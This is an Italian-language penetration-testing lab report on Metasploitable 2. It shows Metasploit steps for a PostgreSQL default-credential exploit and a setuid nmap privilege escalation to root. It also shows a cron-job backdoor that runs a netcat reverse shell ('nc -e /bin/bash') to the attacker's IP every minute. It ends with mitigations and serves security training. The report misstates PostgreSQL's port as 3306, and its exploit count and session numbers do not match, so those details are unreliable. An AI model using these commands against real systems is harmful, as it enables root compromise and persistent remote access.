

PENETRATION TESTING REPORT

Esercizio S7 - L3

Privilege Escalation & Backdoor

Exploitation di Metasploitable 2 tramite PostgreSQL, escalation di privilegi con setuid_nmap e installazione backdoor persistente tramite cron job.

TARGET

Metasploitable 2

ATTACCANTE

Kali Linux

DATA

20 Maggio 2026

FRAMEWORK

Metasploit 6.4

OBBIETTIVO DELL'ESERCIZIO

L'esercizio richiede di ottenere una sessione iniziale su Metasploitable 2 tramite PostgreSQL, identificare vulnerabilità locali per la privilege escalation, diventare root e installare una backdoor persistente dimostrando l'accesso successivo.

- 1

Exploitation iniziale via PostgreSQL

Sfruttare credenziali di default del servizio PostgreSQL sulla porta 3306 per ottenere una sessione Meterpreter come utente postgres.
- 2

Identificazione vulnerabilità locali

Usare il modulo post/multi/recon/local_exploit_suggester per identificare automaticamente exploit locali sfruttabili per la privilege escalation.
- 3

Privilege Escalation a root

Sfruttare il bit SUID di /usr/bin/nmap con il modulo exploit/unix/local/setuid_nmap per ottenere una shell con euid=0 (root).
- 4

Installazione backdoor persistente

Aggiungere un cron job a /etc/crontab che esegue una reverse shell netcat ogni minuto, garantendo accesso root persistente.

AMBIENTE DI LAB

MACCHINA	SISTEMA OPERATIVO	IP	RUOLO
Kali Linux	Kali GNU/Linux	192.168.0.239	Attaccante
Metasploitable 2	Ubuntu 8.04 (Kernel 2.6.24)	192.168.0.212	Target

3306

PORTA POSTGRESQL

9

EXPLOIT TROVATI

root

PRIVILEGIO

7777

PORTA BACKDOOR

FASE 1 — EXPLOITATION POSTGRESQL

Il servizio PostgreSQL sulla porta 3306 utilizza le credenziali di default postgres:postgres. Il modulo exploit/linux/postgres/postgres_payload sfrutta questa misconfiguration caricando una libreria condivisa malevola nel processo PostgreSQL, ottenendo una sessione Meterpreter.

```
MSFCONSOLE — EXPLOIT POSTGRESQL
use exploit/linux/postgres/postgres_payload
set RHOSTS 192.168.0.212
set LHOST 192.168.0.239
exploit

[*] Meterpreter session 1 opened (192.168.0.239:4444 -> 192.168.0.212)

meterpreter > getuid
Server username: postgres
```

Vulnerabilita sfruttata: Credenziali di default non modificate (postgres:postgres). Il servizio accettava connessioni remote senza restrizioni, permettendo l'upload di una libreria malevola tramite le funzioni native del database.

FASE 2 — IDENTIFICAZIONE VULNERABILITA LOCALI

Con la sessione Meterpreter attiva come utente postgres, viene eseguito il modulo post/multi/recon/local_exploit_suggester che analizza il sistema target e suggerisce quali exploit locali potrebbero essere sfruttati per la privilege escalation.

```
LOCAL EXPLOIT SUGGESTER
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
```

#	MODULO	VULNERABILE	NOTE
1	glibc_ld_audit_dso_load_priv_esc	YES	GNU C Library 2.7
2	glibc_origin_expansion_priv_esc	YES	Target vulnerabile
3	netfilter_priv_esc_ipv4	YES	Target vulnerabile
4	ptrace_sudo_token_priv_esc	YES	Servizio in esecuzione
5	su_login	YES	Target vulnerabile
9	setuid_nmap	YES	/usr/bin/nmap e SUID

FASE 3 — PRIVILEGE ESCALATION (SETUID_NMAP)

L'exploit `unix/local/setuid_nmap` sfrutta il bit SUID attivo su `/usr/bin/nmap`. Nelle versioni vecchie, nmap supportava uno scripting engine (NSE) in Lua per eseguire comandi shell. Combinando SUID e NSE, è possibile eseguire codice con privilegi root.

Cos'è il bit SUID: Il bit Set User ID fa sì che il processo venga eseguito con i privilegi del proprietario del file (root) anziché dell'utente che lo lancia. Su nmap questa configurazione è una grave misconfiguration.

PRIVILEGE ESCALATION — SETUID_NMAP

```
use exploit/unix/local/setuid_nmap
set SESSION 2
set LHOST 192.168.0.239
set payload cmd/unix/reverse_netcat
exploit

[+] Command shell session 3 opened

sessions -i 3
id
uid=108(postgres) gid=117(postgres) euid=0(root)
whoami
root
```

Risultato: Ottenuto `euid=0 (root)`. Il payload `cmd/unix/reverse_netcat` è stato scelto per evitare il problema del mount `noexec` su `/tmp` che impediva l'esecuzione di binari.

FASE 4 — BACKDOOR PERSISTENTE (CRON JOB)

Con i privilegi root viene installata una backdoor tramite cron job. Aggiungendo una riga a `/etc/crontab`, ogni minuto il sistema target si riconnette automaticamente all'attaccante aprendo una shell root.

INSTALLAZIONE BACKDOOR

```
echo "* * * * * root nc -e /bin/bash 192.168.0.239 7777" >> /etc/crontab

# Sul Kali - listener in attesa
nc -lvp 7777
listening on [any] 7777 ...
connect to [192.168.0.239] from (UNKNOWN) [192.168.0.212] 37265

whoami
root
```

Sintassi cron: `"* * * * *"` significa "ogni minuto". Il campo `root` indica l'utente con cui viene eseguito il comando. `nc -e /bin/bash` apre una shell bash verso l'IP dell'attaccante.

Risultato: Backdoor attiva e persistente. Ogni minuto il target apre automaticamente una connessione root verso il Kali sulla porta 7777. L'accesso persiste dopo la chiusura della sessione Meterpreter originale.

RIEPILOGO ATTACCO

FASE	TECNICA	RISULTATO	CRITICITA
1	PostgreSQL Default Credentials	Sessione Meterpreter (postgres)	CRITICA
2	Local Exploit Suggester	9 vulnerabilita locali identificate	MEDIA
3	SUID nmap + NSE Lua scripting	Shell root (euid=0)	CRITICA
4	Cron job backdoor (netcat)	Accesso root persistente	CRITICA

CONCETTI CHIAVE APPRESI

- **Credenziali di default:** Non cambiare le password predefinite e una delle vulnerabilita piu sfruttate. PostgreSQL con postgres:postgres e accessibile a qualsiasi attaccante in rete.
- **Bit SUID:** Impostare il bit SUID su strumenti come nmap e una grave misconfiguration che permette a qualsiasi utente di eseguire codice con privilegi root.
- **Scelta del payload:** cmd/unix/reverse_netcat ha funzionato dove altri fallivano per il mount noexec su /tmp che impediva l'esecuzione di binari.
- **Persistenza tramite cron:** Un attaccante con accesso root puo garantirsi l'accesso permanente modificando /etc/crontab, rendendo la backdoor resistente ai riavvii.

MISURE DI MITIGAZIONE

- **Cambiare tutte le credenziali di default** al momento dell'installazione di qualsiasi servizio (PostgreSQL, MySQL, ecc.).
- **Rimuovere il bit SUID** da tutti gli eseguibili non necessari: chmod u-s /usr/bin/nmap.
- **Aggiornare kernel e software** con le patch di sicurezza. Kernel 2.6.24 del 2008 ha decine di vulnerabilita note non piu corrette.
- **Bloccare connessioni in uscita** non autorizzate tramite firewall per impedire reverse shell come netcat verso IP esterni.
- **Monitorare /etc/crontab** per modifiche non autorizzate tramite strumenti di integrity monitoring (es. AIDE, Tripwire).